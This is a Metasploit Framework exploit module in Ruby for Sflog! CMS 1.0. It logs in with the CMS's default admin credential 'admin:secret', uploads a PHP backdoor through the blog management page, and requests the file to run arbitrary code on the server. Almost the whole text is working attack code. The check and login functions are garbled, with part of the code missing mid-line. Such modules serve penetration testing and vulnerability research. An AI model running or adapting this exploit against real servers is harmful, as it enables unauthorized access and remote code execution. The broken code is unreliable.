## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info={}) super(update_info(info, 'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has a default admin credential of "admin:secret", which can be abused to access administrative features such as blogs management. Through the management interface, we can upload a backdoor that's accessible by any remote user, and then gain arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'dun', # Discovery, PoC 'sinn3r' # Metasploit ], 'References' => [ ['OSVDB', '83767'], ['EDB', '19626'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Jul 06 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']), OptString.new('USERNAME', [true, 'The username to login with', 'admin']), OptString.new('PASSWORD', [true, 'The password to login with', 'secret']) ], self.class) end def check uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") res = send_request_raw({'uri'=>"#{base}/index.php"}) if not res return Exploit::CheckCode::Unknown elsif res and res.body =~ /\ 'POST', 'uri' => "#{base}/admin/login.php", 'vars_post' => { 'userID' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\Access denied\!\<\/i\>/ return res.headers['Set-Cookie'] else return '' end end # # Upload our payload, and then execute it. # def upload_exec(cookie, base, php_fname, p) data = Rex::MIME::Message.new data.add_part('download', nil, nil, "form-data; name=\"blogID\"") data.add_part('7', nil, nil, "form-data; name=\"contentType\"") data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"") # The app doesn't really like the extra "\r\n", so we need to remove the newline. post_data = data.to_s post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}/admin/manage.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{base}/admin/manage.php", 'Origin' => "http://#{rhost}" } }) if not res print_error("#{@peer} - No response from host") return end target_path = "#{base}/blogs/download/uploads/#{php_fname}" print_status("#{@peer} - Requesting '#{target_path}'...") res = send_request_raw({'uri'=>target_path}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return end handler end def exploit @peer = "#{rhost}:#{rport}" uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") cookie = do_login(base) if cookie.empty? print_error("#{@peer} - Unable to login") return end php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" p = get_write_exec_payload(:unlink_self=>true) upload_exec(cookie, base, php_fname, p) end end